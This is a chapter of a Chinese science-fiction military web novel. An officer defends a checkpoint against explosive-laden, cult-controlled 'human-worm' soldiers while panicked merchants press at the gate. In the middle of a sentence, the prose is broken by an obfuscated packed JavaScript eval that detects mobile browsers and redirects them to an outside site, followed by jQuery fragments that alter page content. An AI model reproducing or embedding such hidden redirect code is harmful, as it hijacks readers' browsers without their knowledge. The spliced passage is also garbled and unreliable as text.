“要不我请示一下我们领导?” 李稻青态度温和,彬彬有礼,狗腿子稍后他半步一唱一和,两人话语谦逊到无懈可击,商队领头的几个大为受用的同时也发觉,一番打太极下来哨兵依旧牢牢原地站定,毫无放行的意思。 ——叮咚。 板车旁的夫人弯下腰,胸章洁白细长的回声鸟羽压进脖颈,汗津津一片染上灰黑色皴渍,她挠了挠发痒的颈根,另只手捞起滚到脚前亮晶晶的物件。 是一块包裹在月亮石中的芯片,样式颇为新潮,夫人见随行商贾无人在意,喝退麻木睁眼的男奴,窃喜着随手抹去尘土便往衣兜里塞。 回鹴将她的举动收入眼中,目光追寻到芯片来路,右手背至身侧,玫巧燕意会,随后轻盈地出现在李稻青身边。 不多时,飘叶林方向传来惊天轰响,大量尘埃呼啸而来,土地为之震颤,商队的动物们纷纷不安逃窜,瘦骨嶙峋的奴隶被拽得猝不及防,一边是禁锢自己与牲口的蒸汽囱,生锈的螺丝禁不起生拉硬拽,眼看摇摇欲坠,一边是价值远高于己的牛马,挣脱逃跑指不定要吃上几顿鞭子,只得凭借干枯手臂扯住缰绳,祈祷神明能保住自己小命。 富商们更是乱作一团,平素顺风顺水的日子哪会遭遇这种动荡,鸟兽做散都不知往哪跑,有人趁乱想冲入哨岗,被机枪顶在脑袋上逼退到岗亭外,面对森然铁律,为首的几位痛骂华夏军队不讲武德,拿本地乡绅商贾的性命开玩笑。 “就这还欢迎一切热爱和平的居民,没看到后面的炸了啊!”发话的青年顶着绿毛脑袋,恶狠狠地盯紧眼前这位油盐不进的长官,恨不得生啖其肉。 “救命啊!让我们进去!!!!!” “长老为什么要信这帮华夏人的鬼话!现在命都要没了!” 人群不乏狼狈的抽泣与喊叫,而右侧的老人做睦月教苦修者打扮,他头戴无五官的白面具,眉心裂出三道金色藤曼纹路,看不见神色,四指竖起疯狂比划,不知是在诅咒李稻青还是给亲友赐福。 尘烟散去,零星三四点人影踉跄走进入目之可及处,与其说是四肢直立的“行走”,不如形容为正面朝下匍匐前行,眼尖的士兵认出他们的身份,立即派遣侦察蜂飞往巡查,回鹴翻身而下跳到李上校面前,附在耳边轻轻说出他看到的内容。 “那些人身上绑着工程爆破用的炸药。” 李稻青瞳孔急剧紧缩,他猜到睦月会不可能善罢甘休,但没料到会是此等下作手段,与此同时,派出侦察蜂的士兵脸色苍白:“报告!是上午那批修建工事的队员!他们很不对劲。” 接过蜂巢权限,一向圆滑的男人瞬间咬紧下唇,他的士兵双手被捆,正如同两栖爬行类般顶着肩膀挪动身躯,甚至无视血肉模糊暴露出骨骼的四肢,速度越发变快。 紧接着,奴隶们发现后方身穿作训服的怪异人类,亲眼见证扭曲同类的诡异感远超被奴役的麻木,吓得一股脑向前涌,将主人们挤到身后。 此时贫富贵贱再无意义,仅有本能下的求生渴望。 富人本就担惊受怕,再从奴隶口中东拼西凑提取有效信息,更加惶恐地寻求保护,他们乞求哨岗放行,可没有李稻青的指令,谁也没让开一步。 还是先前的绿毛青年,他歇斯底里地喊叫着:“啊啊啊啊啊有怪物!快救救我们!” “没想到华夏就这么见死不救!好肮脏的心,神明啊,你引导我们的方向真的正确吗!”领头人惊怒下难掩失望,瞪红了眼几欲崩出眼眶。 李稻青未理会,咬牙高声道:“苍斛的!列队!” 隶属这支队伍的士兵立刻响应,回“到”声饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563215|171409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含伤恸。 “檀亭,启用远程电离网,协助苍斛完成阻击,如条件满足,且判断还有救,尽量抓活的。” “防爆小队集合!三人为一组,由芍渠开路,确保可燃物完整拆除。” 李稻青一项一项安排下去,游擎一队应时聚拢在其身旁,他扫过几人,郑重道:“我知道,你们都是靠谱的战士,现场拜托了。” 说罢激活外骨骼装置,动力设置轻鸣启用,直冲岗亭外。 游擎一像是被打了鸡血纷纷眼冒精光,后悔没来及将这句话录制下来,播给自家长官好好证明,他们也是得到认可的沉稳靠谱的士兵。 好些富商见长官离去支援战场,态度当即恶劣起来,边大声叫骂边想闯岗,其中不乏年轻男人们挥舞四肢粗鲁推搡留守士兵,他们不信没有上级指令,这群当兵的有胆子开第一枪,野蛮行径在苏鹅昂起下巴顶在前面时宣告失败。 与二八营客气相待不同,游擎一众人完全是兵痞模样。 “不把实话讲明白,你们谁都别想进去。” - 落叶林外,一颗光溜溜的脑袋钻了出来,双脚狂踩熄火的机巧板,四五下提示音后仍然没能重新点火。 “我说!追上前方目标!” 【抱歉,小翼听不懂您在说什么,小翼累了,请轻拿轻放,谢谢。】 耐心告竭,她恼怒地猛踢板身两脚,愤然使用起最原始的赶路方式。 女孩正是追杀驯虫师的怀冰,她背负一把双节枪,枪尖朝下稀稀拉拉滴着未尽的血珠,现在,她得去解决被死相惨烈的宰渣们制造的“人肉虫”,如果小桑在的话,定会纠正她对那些可怜人的称呼。 生者为过客,死者亦归人,在怀冰尚未通过中级学历考核的有限认知里,人没有所谓的灵魂,意识脱离人体即消亡,余留下的躯壳不再被赋予人格意义。 张笑龙曾劝架:与莽夫争口舌没有好处。 然后被怀冰揍了。 “就当稍微帮小桑一回。”女孩咬牙飞奔,这具年幼的身体已经将力量发挥到极限,怀冰没有抱怨节点规则对她强度的削弱,反而脑海中涌起往日训练时遗漏的细节,自谴未尽最大的努力。 脚下落叶渐稀,褪出灰黄色沙土,方才肃杀之地远去,沙砾不断撞击在护目镜面,灌进她的耳朵,几下技巧性腾跃后,她的身体受惯性而极大提速,很快,地面上出现细长蜿蜒的血迹以及零星肉碎,怀冰调整身形穿梭于古建筑残骸间,左手翻出,略微一个抓握,双节枪自动组合成完全体飞入掌中。 正值午时,天虹星高悬正顶,云开见日,视野条件良好,风速也不错,怀冰逐渐咧起笑容,手中长枪渐举,在一个高高的腾跃未落地前,长枪如射电般怒嚎贯出。 “啤酒瓶,你发楞啊!想死滚后面去。”半机械战甲恨声扑开呆伫的同僚,肘部小能量分燃炮微顿,最后决然朝即将引爆的前战友开火,南冕实验室特产的特种可燃化弹没入躯体,待仅消融碳基物质的青焰散去,再也无法像战友一样站立的怪物得到了解脱,只余未受影响的捆绑式炸药留在原地。 “我......”啤酒瓶儿自责地砸了下头盔,“茶杯是跟我换班才变成这样的,我......” 墨色战甲绷出人性化的青筋:“有时间感伤春秋,不如快点完成长官交代的任务。” 几小时前还是活生生的人类,如今成为了需要被消灭的虫豸,机械承重掌重踏两步,溅起一片白灰,凉风吹过便不见痕迹,墨色战甲提起队友。 “坐标A12,A12,来个人把炸药收容了。” ——收到,请注意安全。 一片云短暂遮住日光,阴影趁机覆盖野地。 “阿猿!!!你后面——”啤酒瓶惊恐拍打战甲,阿猿辅助视角未察觉到异样,但她深知啤酒瓶素来掉链子中又带有一点靠谱,从不坑自己人,本着信任她再次抬起武器,瞳孔却在转身的急剧缩成针尖。 “我靠!” 大地轰响,上千只虫豸不知从何处冒出,身上衣物五花八门的,并不仅仅是二八营的打扮,附近眼尖的队友已经高呼出几个外国军团的名号,背后的人到底制造了多少惨案! “重火力点转移,芍渠三集合,支援西南方。” 战线另一侧的李稻青已经杀到红眼,他认出怪物的来历,甚至可以流利报出他们的部队及编号,但是怪物源源不断地出现让他深知,再麻木砍杀下去是不行的。 “长官!” 李稻青收到附近士兵的呼唤,脚下旋起便劈了过去,同时左肘处分燃炮启动,精准消灭成群的虫豸,他听见自己在喊:“苍斛一二三都往回收,地面级重甲列阵,向前顶!” 寒意窜上脊背,他谨慎地拽着身旁战士戒备,预感是对的,正当他们的阵型朝后收入些许,一道闪电伴随清厉铮鸣破空而来,银光反射在周遭轻甲机身,战场视野一片花白,再睁眼,是被贯穿钉入不远处工事墙体的虫豸,足足三十只。 受到了主人召唤,长枪分裂成两截,尸骨促而落地,枪尖那截弹射拔出,兀自凌空高速旋转,为二八横扫开一片空地,而剩下半截则直奔虫豸群一处不起眼的位置。 李稻青立刻开启视线优化模式,他顺着枪身方向观察,很快便找到一只身穿睦月教白袍的矮胖虫,那虫被合金纤维绳索结结实实捆成了粽子,地面上扭曲蠕动的速度也大不如其他怪物,但是它没有被绑上炸药,被枪身耍弄得原地翻滚,无能狂怒。 阿猿接到命令拎着搭档往回收,乘势贴地飞至集合点,此刻正在长官旁,她也看到了那只特别的虫,低声道:“是蓝花巷分教堂的修士,长官,怪物的’首领’竟然是这窝囊废?” 李稻青无暇顾及突入战局的陌生帮手,他难得被激怒,狠戾道:“全体都有,坐标C15,给老子把那玩意拿下,老子要活刮了他。”